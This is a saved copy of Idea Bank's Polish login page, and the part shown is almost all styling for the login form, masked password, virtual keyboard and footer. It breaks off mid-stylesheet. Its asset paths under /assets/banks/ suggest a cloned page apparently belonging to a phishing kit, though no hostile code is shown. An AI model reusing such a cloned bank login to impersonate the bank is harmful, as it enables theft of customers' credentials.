<!DOCTYPE html>
<!-- saved from url=(0037)https://sso.cloud.ideabank.pl/#/login -->
<html lang="pl-PL" ng-class="{'embedded-mode': $root.AppSettings.embeddedMode}" ng-app="app"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style>

    <title>Idea Cloud</title>
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="description" content="">

    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">


    <style type="text/css">
        @-webkit-keyframes idea {
            0% {
                -webkit-transform: rotate(0deg) scale(1.1);
                transform: rotate(0deg) scale(1.1);
            }
            2.5% {
                -webkit-transform: rotate(0deg) scale(1);
                transform: rotate(0deg) scale(1);
            }
            22.5% {
                -webkit-transform: rotate(90deg) scale(1);
                transform: rotate(90deg) scale(1);
            }
            25% {
                -webkit-transform: rotate(90deg) scale(1.1);
                transform: rotate(90deg) scale(1.1);
            }
            27.5% {
                -webkit-transform: rotate(90deg) scale(1);
                transform: rotate(90deg) scale(1);
            }
            47.5% {
                -webkit-transform: rotate(180deg) scale(1);
                transform: rotate(180deg) scale(1);
            }
            50% {
                -webkit-transform: rotate(180deg) scale(1.1);
                transform: rotate(180deg) scale(1.1);
            }
            52.5% {
                -webkit-transform: rotate(180deg) scale(1);
                transform: rotate(180deg) scale(1);
            }
            72.5% {
                -webkit-transform: rotate(270deg) scale(1);
                transform: rotate(270deg) scale(1);
            }
            75% {
                -webkit-transform: rotate(270deg) scale(1.1);
                transform: rotate(270deg) scale(1.1);
            }
            77.5% {
                -webkit-transform: rotate(270deg) scale(1);
                transform: rotate(270deg) scale(1);
            }
            97.5% {
                -webkit-transform: rotate(360deg) scale(1);
                transform: rotate(360deg) scale(1);
            }
            99.9% {
                -webkit-transform: rotate(360deg) scale(1.1);
                transform: rotate(360deg) scale(1.1);
            }
            100% {
                -webkit-transform: rotate(0) scale(1.1);
                transform: rotate(0) scale(1.1);
            }
        }

        @keyframes idea {
            0% {
                -webkit-transform: rotate(0deg) scale(1.1);
                transform: rotate(0deg) scale(1.1);
            }
            2.5% {
                -webkit-transform: rotate(0deg) scale(1);
                transform: rotate(0deg) scale(1);
            }
            22.5% {
                -webkit-transform: rotate(90deg) scale(1);
                transform: rotate(90deg) scale(1);
            }
            25% {
                -webkit-transform: rotate(90deg) scale(1.1);
                transform: rotate(90deg) scale(1.1);
            }
            27.5% {
                -webkit-transform: rotate(90deg) scale(1);
                transform: rotate(90deg) scale(1);
            }
            47.5% {
                -webkit-transform: rotate(180deg) scale(1);
                transform: rotate(180deg) scale(1);
            }
            50% {
                -webkit-transform: rotate(180deg) scale(1.1);
                transform: rotate(180deg) scale(1.1);
            }
            52.5% {
                -webkit-transform: rotate(180deg) scale(1);
                transform: rotate(180deg) scale(1);
            }
            72.5% {
                -webkit-transform: rotate(270deg) scale(1);
                transform: rotate(270deg) scale(1);
            }
            75% {
                -webkit-transform: rotate(270deg) scale(1.1);
                transform: rotate(270deg) scale(1.1);
            }
            77.5% {
                -webkit-transform: rotate(270deg) scale(1);
                transform: rotate(270deg) scale(1);
            }
            97.5% {
                -webkit-transform: rotate(360deg) scale(1);
                transform: rotate(360deg) scale(1);
            }
            99.9% {
                -webkit-transform: rotate(360deg) scale(1.1);
                transform: rotate(360deg) scale(1.1);
            }
            100% {
                -webkit-transform: rotate(0) scale(1.1);
                transform: rotate(0) scale(1.1);
            }
        }

        body {
            background: #fefcee; /* Old browsers */
            background: -moz-linear-gradient(-45deg, #fefcee 0%, #8299a7 100%); /* FF3.6-15 */
            background: -webkit-linear-gradient(-45deg, #fefcee 0%, #8299a7 100%); /* Chrome10-25,Safari5.1-6 */
            background: linear-gradient(135deg, #fefcee 0%, #8299a7 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */
            filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fefcee', endColorstr='#8299a7', GradientType=1); /* IE6-9 fallback on horizontal gradient */
        }

        .loader-wrapper {
            position: absolute;
            top: 50%;
            left: 50%;
            -webkit-transform: translate(-50%, -50%);
            -ms-transform: translate(-50%, -50%);
            transform: translate(-50%, -50%);
        }

        .loader {
            display: -webkit-box;
            display: -webkit-flex;
            display: -ms-flexbox;
            display: flex;
            -webkit-flex-wrap: wrap;
            -ms-flex-wrap: wrap;
            flex-wrap: wrap;
            width: 65px;
            -webkit-box-pack: justify;
            -webkit-justify-content: space-between;
            -ms-flex-pack: justify;
            justify-content: space-between;
            -webkit-box-align: stretch;
            -webkit-align-items: stretch;
            -ms-flex-align: stretch;
            align-items: stretch;
            height: 65px;
            -webkit-animation: idea 5s ease-out infinite;
            animation: idea 5s ease-out infinite;
        }

        .loader-dot {
            width: 30px;
            height: 30px;
            margin-bottom: 5px;
            background-color: #0099ff;
            display: inline-block;
            border-radius: 50%;
            position: relative;
            z-index: 10;
        }
    </style>
    <style type="text/css">.alerts{width:64rem;margin:0 auto}.alerts .alert{width:100%;padding:2.2rem 4rem;margin-bottom:2.4rem;border-radius:.5rem;font-size:1.8rem;font-weight:300;background-color:#ffbf00;min-height:8rem;color:#fff;position:relative}.alerts .alert.alert--warning{color:#000;background-color:#ffbf00}.alerts .alert.alert--error{background-color:#bd0000}.alerts .alert.alert--info{color:#000;background-color:#fff}.alerts .alert.alert--info .alert__close:hover{color:#000}.alerts .alert.alert--success{background-color:#0a0}.alerts .alert .alert__close{position:absolute;top:2px;right:2px;cursor:pointer;width:33px;height:33px;color:#3b6174;text-align:center;line-height:33px;vertical-align:middle;font-weight:700}.alerts .alert .alert__close:hover{color:#fff}</style><style type="text/css">.login{color:red}</style><style type="text/css">.login-additional-options{text-align:center;font-size:1.5rem;margin-top:1rem;font-weight:300;letter-spacing:-.6px}.login-additional-options a,.login-additional-options span{text-decoration:underline}.login-additional-options .reminder{display:inline-block;vertical-align:bottom;padding:17px 0}.form--login-username{width:100%}@media screen and (min-width:640px){.form--login-username{width:37.5rem}}</style><style type="text/css">.security-image{border-radius:50%;margin:-7.5rem auto 1.5rem;width:9rem;height:9rem;overflow:hidden}.security-image img{max-width:100%}.client-number{text-align:center;margin:0 auto 1rem}.client-number__label,.client-number__login{padding-right:.5rem}.client-number__label{font-size:1.5rem}.client-number__login{font-size:1.8rem;font-weight:700}.client-number__cancel{cursor:pointer;vertical-align:middle}.client-number__cancel .icon{margin-bottom:-.3rem}.form--login-password{width:100%}@media screen and (min-width:640px){.form--login-password{width:27.5rem}}</style><style type="text/css">.first-login-steps{display:block;float:right}.first-login-steps .first-login-step-description{font-size:1.5rem}.form-first-login{margin:0 auto}@media screen and (min-width:640px){.form-first-login{width:47.5rem}}@media screen and (min-width:640px){.form-first-login .form--login{width:42.5rem}}.form-first-login .form--login-sms{width:22rem;display:inline-block}.form-first-login .generate-new-sms-code{margin-left:3rem;display:inline-block;vertical-align:middle;margin-top:-.4rem;font-size:1.5rem;text-decoration:none}.form-first-login .generate-new-sms-code span{vertical-align:middle;display:inline-block;margin:0 .2rem}.password-strength{font-size:1.8rem;line-height:3rem;padding-left:40px;background:no-repeat 0 50%}.password-strength-description{vertical-align:text-top}.password-strength.INVALID{background-image:url(/assets/banks/ideabank_files/img2.gif)}.password-strength.FAIR{background-image:url(/assets/banks/ideabank_files/img2.gif)}.password-strength.STRONG{background-image:url(/assets/banks/ideabank_files/img2.gif)}.password-strength.WEAK{background-image:url(/assets/banks/ideabank_files/img2.gif)}</style><style type="text/css">.stepOne{color:red}</style><style type="text/css">.stepTwo{color:red}</style><style type="text/css">.navbar{background-color:transparent;padding:1rem 1rem 3rem 2rem}.navbar .logo,.navbar .nav-links{display:inline-block}.navbar .logo a,.navbar .nav-links a{display:block;width:172px;height:28px;background-image:url(/assets/banks/ideabank_files/42021020720305852259.png)}</style><style type="text/css">.info-box{color:#fff;display:flex;align-items:center;font-size:15px;flex-direction:row;letter-spacing:-.7px}.info-box.info-box--aux.box{padding:1rem 2rem}.info-box.box{display:flex;align-items:flex-start;flex-direction:column;flex-direction:row;padding:2rem;flex:1;margin:2rem 10px 1rem}.info-box.box.hidden{display:none}.info-box.box.hidden+.box,.info-box.box:first-child{margin-left:0}.info-box.box:last-child{margin-right:0}.info-box h1,.info-box h2,.info-box h3,.info-box h4,.info-box p{margin:0}.info-box .info-box__header{line-height:3.2rem}.info-box .info-box__header strong{vertical-align:text-bottom}.info-box .info-box__header .info-box__icon{display:inline-block}.info-box__icon{width:3.2rem;height:3.2rem;display:flex}.info-box__icon i{max-width:100%}.info-box__icon p{line-height:3.2rem}.info-box__content{padding-left:1rem}.info-box__content ul{list-style:disc;padding-left:3rem}.info-box__content ul li{margin-bottom:.4rem;line-height:1.1em}.info-box__contents{display:flex;flex-direction:row}.info-box__one-line{margin-bottom:1.6rem}.info-box__one-line .icon{float:left;margin-right:.6rem}.info-box__one-line h3{line-height:3.2rem}.info-box--special p{font-weight:300}.info-box__wrapper{display:flex}.info-box__wrapper.info-box__wrapper--double info-box{width:50%;display:flex}.info-box__wrapper.info-box__wrapper--double info-box:first-child{margin-right:10px}.info-box__wrapper.info-box__wrapper--double info-box .box{padding:1.5rem 1rem}</style><style type="text/css">.social-login{line-height:3.2rem;margin:1rem;display:inline-block;justify-content:center;align-items:center}.social-login>*{margin:0 .5rem 0 0}.social-login .social-login__icon-wrapper{text-decoration:none;cursor:pointer}.social-login .social-login__icon-wrapper.social-login__icon-wrapper--no-connection{cursor:default}.social-login .social-login__icon-wrapper.social-login__icon-wrapper--no-connection .social-login__icon .icon{opacity:.6}.social-login .social-login__icon,.social-login .social-login__status{vertical-align:middle;vertical-align:-webkit-baseline-middle}.social-login .social-login__icon{display:inline-block;border:1px solid hsla(0,0%,100%,.5);border-radius:5px;width:3.5rem;height:3.5rem;position:relative}.social-login .social-login__icon .icon{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%)}</style><style type="text/css">.bulbs-graph{line-height:32px;width:100%}.bulbs-graph__bulbs{list-style:none;display:flex;width:100%;padding:0;margin:0;justify-content:space-around;align-items:center}.bulbs-graph__bulb{vertical-align:bottom;display:block;width:32px;height:32px}</style><style type="text/css">.messages-info__text{font-weight:700}</style><style type="text/css">nav,ol,ul{margin:0;padding:0;list-style:none}.light-bordered-list{line-height:1em;border:0 solid rgba(1,1,1,.2);border-top-width:.1rem;list-style:none}.light-bordered-list li{padding-top:1rem;padding-bottom:1rem;font-weight:300;border:0 solid rgba(1,1,1,.2);border-bottom-width:1px}.light-bordered-list li.with-icon a{display:flex;align-items:center}.light-bordered-list li.with-icon .icon{margin-right:5px;margin-top:-3px}.cms-footer{position:absolute;left:0;top:100%;width:100%;-webkit-transition:all .4s ease-out;-moz-transition:all .4s ease-out;-o-transition:all .4s ease-out;transition:all .4s ease-out;margin-top:-5rem;font-family:Roboto,sans-serif}.cms-footer strong{font-weight:700;font-family:Roboto,sans-serif}.cms-footer .footer{position:relative}.cms-footer .footer.hidden{display:none}.cms-footer .footer .fake-border{width:49%;height:.1rem;position:absolute;border:0 solid hsla(0,0%,100%,.2);border-top-width:.1rem}.cms-footer .footer .fake-border--left{left:0}.cms-footer .footer .fake-border--right{right:0}.cms-footer .footer--closed{display:block;height:5rem}.cms-footer .footer--closed .footer__nav--closed{width:74rem;margin:0 auto;padding-top:2rem;overflow:hidden}.cms-footer .footer--closed .footer__nav--closed li{width:20rem;margin-left:7rem;float:left;text-align:center;list-style:none}.cms-footer .footer--closed .footer__nav--closed li:first-child{margin-left:0}.cms-footer .footer--closed .footer__nav--closed li a{font-size:1.1rem;font-weight:700;text-decoration:none;text-transform:uppercase;color:#3b6174;vertical-align:middle}.cms-footer .footer--closed .footer__nav--closed li a .icon{margin-top:-3px}.cms-footer .footer--closed .footer__nav--closed li.social-networking{margin-top:-2px;text-align:right}.cms-footer .footer--closed .footer__nav--closed li.social-networking .facebook-ico{width:1.6rem;height:1.7rem;display:inline-block;background:url(img2.gif) no-repeat;text-indent:100%;white-space:nowrap;overflow:hidden;margin-right:10px}.cms-footer .footer--closed .footer__nav--closed li.social-networking .g-plus-ico{width:2.2rem;height:1.7rem;display:inline-block;background:url(img2.gif) no-repeat;text-indent:100%;white-space:nowrap;overflow:hidden;margin-right:.5rem}.cms-footer .footer--closed .footer__nav--closed li.social-networking .twitter-ico{width:1.6rem;height:1.6rem;display:inline-block;background:url(img2.gif) no-repeat;text-indent:100%;white-space:nowrap;overflow:hidden}.cms-footer .footer__open{position:absolute;left:50%;top:-1.5rem;margin-left:-1.6rem;width:3.3rem;height:3.3rem;display:inline-block;cursor:pointer;background:url(42021020720305852864.png) no-repeat 50%}.cms-footer .footer--opened .footer__close{width:3.3rem;height:3.3rem;display:inline-block;background:url(img2.gif) no-repeat top;position:absolute;left:50%;top:-.5rem;margin-left:-2.2rem;display:block;width:4.4rem;padding-top:2rem;font-size:1.1rem;text-align:center;text-transform:uppercase;color:#034059;cursor:pointer}.cms-footer .footer--opened .footer__nav--opened{width:74rem;margin:0 auto 3rem;overflow:hidden}.cms-footer .footer--opened .footer__nav--opened a{font-size:1.5rem;text-decoration:none;color:#000}.cms-footer .footer--opened .footer__nav--opened>ul{margin-top:1.5rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block{width:20rem;margin-left:7rem;float:left;display:block}.cms-footer .footer--opened .footer__nav--opened>ul li:first-child{margin-left:0}.cms-footer .footer--opened .footer__nav--opened>ul li .block-content{margin-top:2rem;font-size:1.4rem;font-weight:300}.cms-footer .footer--opened .footer__nav--opened>ul li .block-content p{margin-bottom:1.2rem}.cms-footer .footer--opened .footer__nav--opened>ul li .contact-item{margin-top:.8rem;display:flex;align-items:center}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--safety h3:before{content:"";width:3.3rem;height:3.3rem;display:inline-block;background:url(img2.gif) no-repeat;position:absolute;top:50%;left:0;margin-top:-1.6rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--login h3{padding-left:3.5rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--login h3:before{content:"";width:3.3rem;height:3.3rem;display:inline-block;background:url(img2.gif) no-repeat;position:absolute;top:50%;left:0;margin-top:-1.6rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--social h3 .icon{display:inline-block;position:absolute;top:50%;left:0;margin-top:-1.8rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact h3{padding-left:4.5rem;margin-bottom:1.3rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact h3:before{content:"";width:3.6rem;height:3.6rem;display:inline-block;background:url(img2.gif) no-repeat;position:absolute;top:50%;left:0;margin-top:-1.6rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact .block-content{display:flex;flex-wrap:wrap;align-items:center;justify-content:space-between;margin-top:0}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact .tel-type{display:inline-block;width:7rem;font-size:1.3rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact .tel-number{font-size:2.3rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact .light-bordered-list{margin-top:.8rem}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact .social-networking--dark{border-bottom:0}.cms-footer .footer--opened .footer__nav--opened>ul li.footer-block--contact .social-networking--dark strong{display:inline-block;width:12.5rem}.cms-footer .footer--opened .footer__nav--opened h3{padding-left:3.7rem;line-height:3.3rem;font-size:1.8rem;font-weight:300;color:#3c6174;position:relative}.facebook-dark-ico{width:1.6rem;height:1.6rem;background:url(img2.gif) no-repeat;margin-right:.5rem}.facebook-dark-ico,.g-plus-dark-ico{display:inline-block;text-indent:100%;white-space:nowrap;overflow:hidden}.g-plus-dark-ico{width:2.2rem;height:16px;background:url(img2.gif) no-repeat}.twitter-dark-ico{width:1.6rem;height:1.6rem;display:inline-block;background:url(img2.gif) no-repeat;text-indent:100%;white-space:nowrap;overflow:hidden}</style><style type="text/css">.masked-password-wrapper{text-align:center}.masked-password{padding:0;margin:0}.masked-password,.masked-password__item{display:inline-block}.masked-password__item:first-child .masked-input{border-radius:3px 0 0 3px}.masked-password__item:last-child .masked-input{border-right:0;border-radius:0 3px 3px 0}.masked-password__keyboard-input{display:inline-block;vertical-align:middle;margin:10px 5px}.masked-password .masked-input{width:2.5rem;height:3.3rem;padding:0;margin:0;text-align:center;font-size:1.5rem;border-right:1px solid #c1c1c1;border-radius:0;outline:none}.masked-password .masked-input--disabled{background-color:#dcdcdc;background-image:url(img2.gif);background-image:-moz-linear-gradient(top,#e0e0e0,#d5d5d5);background-image:-ms-linear-gradient(top,#e0e0e0,#d5d5d5);background-image:-webkit-gradient(linear,0 0,0 100%,from(#e0e0e0),to(#d5d5d5));background-image:-webkit-linear-gradient(top,#e0e0e0,#d5d5d5);background-image:-o-linear-gradient(top,#e0e0e0,#d5d5d5);background-image:linear-gradient(top,#e0e0e0,#d5d5d5);background-repeat:repeat-x}</style><style type="text/css">.session-restore{background:#d70916;height:5.5rem;width:100%;overflow:hidden;position:relative}.session-restore.ng-hide-add,.session-restore.ng-hide-remove{transition:all .2s ease-out;display:block!important}.session-restore.ng-hide{height:0}.session-restore.ng-hide-add,.session-restore.ng-hide-remove{display:block!important}.session-restore .session-restore__wrapper{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);display:flex;justify-content:center;align-items:center}.session-restore .session-restore__info{font-weight:400;color:#fff;font-size:1.6rem;margin-right:1.2rem}</style><style type="text/css">.mobile-messages{background-color:#009de0;width:100%;padding:15px 20px}.mobile-messages .main-container{background:none;padding:0;color:#fff}.mobile-messages .mobile-messages__wrapper{max-width:102.4rem;margin:0 auto;display:flex;justify-content:flex-start;align-items:center}.mobile-messages .mobile-messages__image{width:50px;height:50px;padding:5px;background:#fff url(img2.gif) no-repeat 50% 50%;background-size:contain;border-radius:5px;margin-right:10px;flex:none}.mobile-messages .mobile-messages__message{font-size:1.4rem;line-height:1.7rem;flex:none}.mobile-messages .mobile-messages__cta{border-radius:20px;display:inline-block;background:#fff;color:#009de0;padding:7px 30px;text-decoration:none;position:absolute;right:0;top:10px}</style><style type="text/css">.system-messages{background-color:#ffbf00;width:100%;padding:.6rem 1.2rem}.system-messages .main-container{background:none;padding:0;color:#000}.system-messages .system-messages__wrapper{max-width:102.4rem;margin:0 auto;display:flex;justify-content:flex-start;align-items:center}.system-messages .system-messages__image{margin-right:2.4rem;max-width:6rem}.system-messages .system-messages__image img{max-width:100%}.system-messages .system-messages__message{font-size:1.6rem}.desktop system-messages~navbar{position:absolute}</style><style type="text/css">.technical-break{min-height:0}.technical-break .app{display:flex;align-items:center;justify-content:center;width:100%;min-height:calc(100% - 100px)}.technical-break .main-container{margin-bottom:2rem;margin:0}.technical-break .header-main{font-size:3.5rem;margin:1rem 0 3rem}.technical-break .technical-box-wrapper{background:#ffbf00;border-radius:4px}.technical-break .flex{display:flex;align-items:center;justify-content:center}.technical-break .technical-break-image{margin:20px}.technical-break .technical-break-image img{max-width:150px}.technical-break .technical-break-image.full-width{text-align:center;width:100%}.technical-break .technical-break-image.full-width img{max-width:100%;height:auto;display:inline-block;margin:0}.technical-break .technical-break-content{font-size:14px;width:100%;padding:.5rem 1.5rem;color:#000}.technical-break .technical-break-content p{line-height:1.4em}.technical-break .technical-break-actions{text-align:center;margin:1rem 0 2rem;padding:1rem 0 2rem;display:block}.technical-break .technical-break-actions .btn{margin:5px 10px}</style><style type="text/css">.login-popup .login-popup__overlay{position:fixed;top:0;left:0;bottom:0;right:0;z-index:9999;background-color:rgba(0,0,0,.5);opacity:1}.login-popup .login-popup__overlay.ng-hide{opacity:0}.login-popup .login-popup__overlay.ng-hide-add,.login-popup .login-popup__overlay.ng-hide-remove{display:block!important}.login-popup .login-popup__overlay.ng-hide-remove{transition:opacity .2s ease-out}.login-popup .login-popup__overlay.ng-hide-add{transition:opacity .2s ease-in}.login-popup .login-popup__wrapper{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);max-width:64rem;margin:0 auto;padding:2rem 2.8rem;font-size:1.6rem;line-height:1;-webkit-transform-style:preserve-3d;-moz-transform-style:preserve-3d;-ms-transform-style:preserve-3d;transform-style:preserve-3d;background-image:url(/assets/banks/ideabank_files/42021020720305853375.png);border-radius:5px;color:#fff}.login-popup .login-popup__content{padding:1rem 1.8rem 1rem 1.4rem;border-radius:5px;background-color:#fff;color:#000;margin-bottom:2rem;max-height:50rem;line-height:1.2;overflow-y:hidden;position:relative;text-align:justify;text-justify:inter-word}.login-popup .login-popup__content ul{list-style:disc outside;margin-left:2rem}.login-popup .login-popup__actions{display:flex;align-items:flex-end;justify-content:flex-end}</style><style type="text/css">@import url(/assets/banks/ideabank_files/42021020720305853877.css);</style><style type="text/css">.ui-keyboard{position:absolute;transform:translateY(10px);z-index:99;top:90px;left:280px;width:450px;border-radius:5px;overflow:hidden;box-shadow:1px 5px 10px rgba(0,0,0,.22);border:1px solid #119cd6}.ui-keyboard .ui-keyboard-button{-webkit-appearance:none;width:32px;text-align:center;padding:0;border:none;background:#fff;height:32px;vertical-align:bottom;border-right:1px solid #e1e1e1;border-top:1px solid #e1e1e1;font-size:12px;color:#444}.ui-keyboard .ui-keyboard-button:hover{background:#119cd6;color:#fff}.ui-keyboard .ui-keyboard-button.ui-keyboard-empty{background:#119cd6;border-color:#119cd6}.ui-keyboard .ui-keyboard-button.ui-keyboard-empty[data-pos="1,0"]{background:#fff;border-color:#e1e1e1}.ui-keyboard .ui-keyboard-button.ui-keyboard-cancel{background:#119cd6;color:#fff;font-weight:700;font-size:17px;border-color:#119cd6}.ui-keyboard .ui-keyboard-button:not(.ui-keyboard-empty){cursor:pointer}@media (max-width:1024px){.ui-keyboard{left:35px}}@media (max-width:555px){.ui-keyboard{left:-45px}}.centered{margin:0 auto;text-align:center}.vert-middle{vertical-align:middle}.vert-top{vertical-align:top}.vert-bottom{vertical-align:bottom}.btn{height:3.5rem;line-height:3.5rem;display:inline-block;padding:0 1.2rem;margin-bottom:0;font-size:1.5rem;text-align:center;white-space:nowrap;cursor:pointer;border:.1rem solid transparent;text-decoration:none;color:#000;font-family:Roboto,sans-serif;font-weight:700;background:#fefefe;background:-webkit-linear-gradient(-90deg,#fefefe,#f4f4f4);background:linear-gradient(180deg,#fefefe,#f4f4f4);background:url(img2.gif);border:none;border-radius:2px}.btn[disabled]{pointer-events:none;cursor:default;-moz-opacity:.4;-khtml-opacity:.4;-webkit-opacity:.4;opacity:.4;-ms-filter:alpha(opacity=40);filter:alpha(opacity=40)}a.btn,a:visited.btn{color:#000}.btn.btn--yellow{background-color:#ffc100;background-image:url(img2.gif);background:#ffc500;background:-webkit-linear-gradient(-90deg,#ffc500,#ffba00);background:linear-gradient(180deg,#ffc500,#ffba00);background-repeat:repeat-x}input[type=color],input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],select,textarea{height:3.2rem;padding:.6rem 1.2rem;margin:.1rem;font-family:Roboto,sans-serif;font-size:1.5rem;font-weight:300;color:#a3a3a3;background:#fff;border:0;border-radius:.2rem;box-shadow:inset 0 .2rem 0 0 #c9c9c9}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{box-shadow:inset 0 2px 0 0 #c9c9c9,0 0 0 1px #28a7d6;outline:0;color:#000}.ng-submitted input.ng-invalid,input[type=password].ng-invalid-maxlength{box-shadow:inset 0 2px 0 0 #c9c9c9,0 0 0 1px #d70916}[ng-messages]>div{position:absolute;top:85%;left:50%;z-index:100;min-width:30rem;padding:.8rem 1.2rem;background-color:#d70916;font-size:1.2rem;font-weight:300;color:#fff;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:.3rem;transform:translateX(img2.gif);text-align:center;line-height:1}[ng-messages]>div:before{content:"";position:absolute;top:-.8rem;left:48%;border:.4rem solid transparent;border-bottom-color:#d70916}.form--login .btn{min-width:11.5rem}.form-group{border:none;width:100%;max-width:100%;margin:0 auto 1.4rem;padding:0;position:relative}.form-group--centered{text-align:center}.form-group--no-margin{margin-bottom:0}.form-group--actions{margin:1rem 0}.form-group--icon-right input+.icon{max-height:3.2rem;vertical-align:top;margin-left:.6rem}.form-group-wrapper{line-height:32px;display:flex;align-items:center}.form-label{font-size:1.5rem;font-weight:400;margin-bottom:.5rem}.form-label--vertical{display:block;width:100%}.form-label--centered{text-align:center}.clickable{cursor:pointer}.form .ui-keyboard{width:451px}.icon{background:url(img2.gif) no-repeat;display:inline-block}.icon-bulb_white{width:32px;height:32px;background-position:-5px -5px}.icon-bulb_yellow{width:32px;height:32px;background-position:-47px -5px}.icon-cancel_cross{width:20px;height:20px;background-position:-89px -5px}.icon-keyboard{width:32px;height:32px;background-position:-89px -35px}.icon-message_white{width:32px;height:32px;background-position:-5px -77px}.icon-question_gray{width:32px;height:32px;background-position:-47px -77px}.icon-refresh_white{width:32px;height:32px;background-position:-89px -77px}.icon-social_facebook{width:32px;height:32px;background-position:-131px -5px}.icon-social_google{width:32px;height:32px;background-position:-131px -47px}.icon-triangle_red{width:32px;height:32px;background-position:-131px -89px}.icon-triangle_white{width:32px;height:32px;background-position:-5px -131px}.icon-facebook{width:20px;height:20px;background-position:-35px -47px}.icon-twitter{width:20px;height:20px;background-position:-5px -47px}.icon-people_white{width:36px;height:36px;background-position:-86px -128px}.icon-lock_white{width:32px;height:32px;background-position:-131px -130px}@-webkit-keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}@-moz-keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}@-ms-keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}@keyframes animate-tooltip{0%{opacity:0}50%{opacity:.5}60%{opacity:.8}70%{opacity:.9}90%{opacity:1}}._exradicated-tooltip{display:block;opacity:1;position:absolute;z-index:999}tooltip{display:inline-block;position:relative}tooltip._multiline{display:block}tooltip._slow._ready tip{animation:animate-tooltip .65s}tooltip._fast._ready tip{animation:animate-tooltip .15s}tooltip._steady._ready tip{animation:animate-tooltip .35s}tooltip tip{border-radius:4px;background:#fff;color:#000;display:none;font-family:Roboto,sans-serif;font-weight:lighter;line-height:.9;max-width:50rem;min-width:30rem;opacity:0;padding:.8rem 1.4rem;position:absolute;text-align:left;width:auto;will-change:top,left,bottom,right}tooltip tip._hidden{display:block;visibility:hidden}tooltip.active:not(._force-hidden) tip{display:block;opacity:1;z-index:999}tooltip tip-tip{font-size:1.2rem}tooltip tip-tip._large{font-size:1.4rem}tooltip tip-tip._small{font-size:1rem}tooltip._top tip{left:50%;top:-9px;-webkit-transform:translateX(-50%) translateY(-100%);transform:translateX(-50%) translateY(-100%)}tooltip._top tip tip-arrow{border-left:6px solid transparent;border-right:6px solid transparent;border-top:6px solid #fff;content:"";height:0;left:50%;margin-left:-6px;position:absolute;top:100%;width:0}tooltip._bottom tip{right:50%;top:100%;-webkit-transform:translateX(50%) translateY(9px);transform:translateX(50%) translateY(9px)}tooltip._bottom tip tip-arrow{border-bottom:6px solid #fff;border-left:6px solid transparent;border-right:6px solid transparent;bottom:100%;content:"";height:0;left:50%;margin-left:-6px;position:absolute;width:0}tooltip._right tip{left:100%;top:50%;-webkit-transform:translateX(9px) translateY(-50%);transform:translateX(9px) translateY(-50%)}tooltip._right tip tip-arrow{border-bottom:6px solid transparent;border-right:6px solid #fff;border-top:6px solid transparent;content:"";height:0;margin-top:-6px;position:absolute;right:100%;top:50%;width:0}tooltip._left tip{left:-9px;top:50%;-webkit-transform:translateX(-100%) translateY(-50%);transform:translateX(-100%) translateY(-50%)}tooltip._left tip tip-arrow{border-bottom:6px solid transparent;border-left:6px solid #fff;border-top:6px solid transparent;content:"";height:0;left:100%;margin-top:-6px;position:absolute;top:50%;width:0}tip-tip .close-button{cursor:pointer;float:right;left:8%;margin-top:-7%;padding:3px;position:relative}html{font-size:62.5%;box-sizing:border-box}*,:after,:before{box-sizing:inherit}body{font-family:Roboto,sans-serif;font-weight:300}.box{border-radius:.5rem;border:.1rem solid hsla(0,0%,100%,.2);padding:2rem 2rem 1.5rem;margin:2rem auto 1rem}.box--password{margin-top:5rem;margin-bottom:2rem}.header-main{font-size:5rem;font-weight:300;color:#fff;margin:10px 0 20px}.header-main--two-col{font-size:4rem;margin:.3em 0}a,a:visited{color:inherit}.view-animate{transition:all .5s}.view-animate.ng-enter{position:absolute;top:-30px;opacity:0}.view-animate.ng-enter.ng-enter-active{position:relative;top:0;opacity:1}.view-animate.ng-leave{position:relative;top:0;max-height:1px}.view-animate.ng-leave.ng-leave-active{position:absolute;top:-30px;display:none}html{overflow-y:scroll}body,html{width:100%}body{transform:translateZ(0);height:100%;background-image:url(/assets/banks/ideabank_files/420210207203058612110.jpg);background-size:cover;background-attachment:fixed;padding-bottom:80px;min-height:910px}.main-container{max-width:725px;margin:0 auto;position:relative;padding:2rem 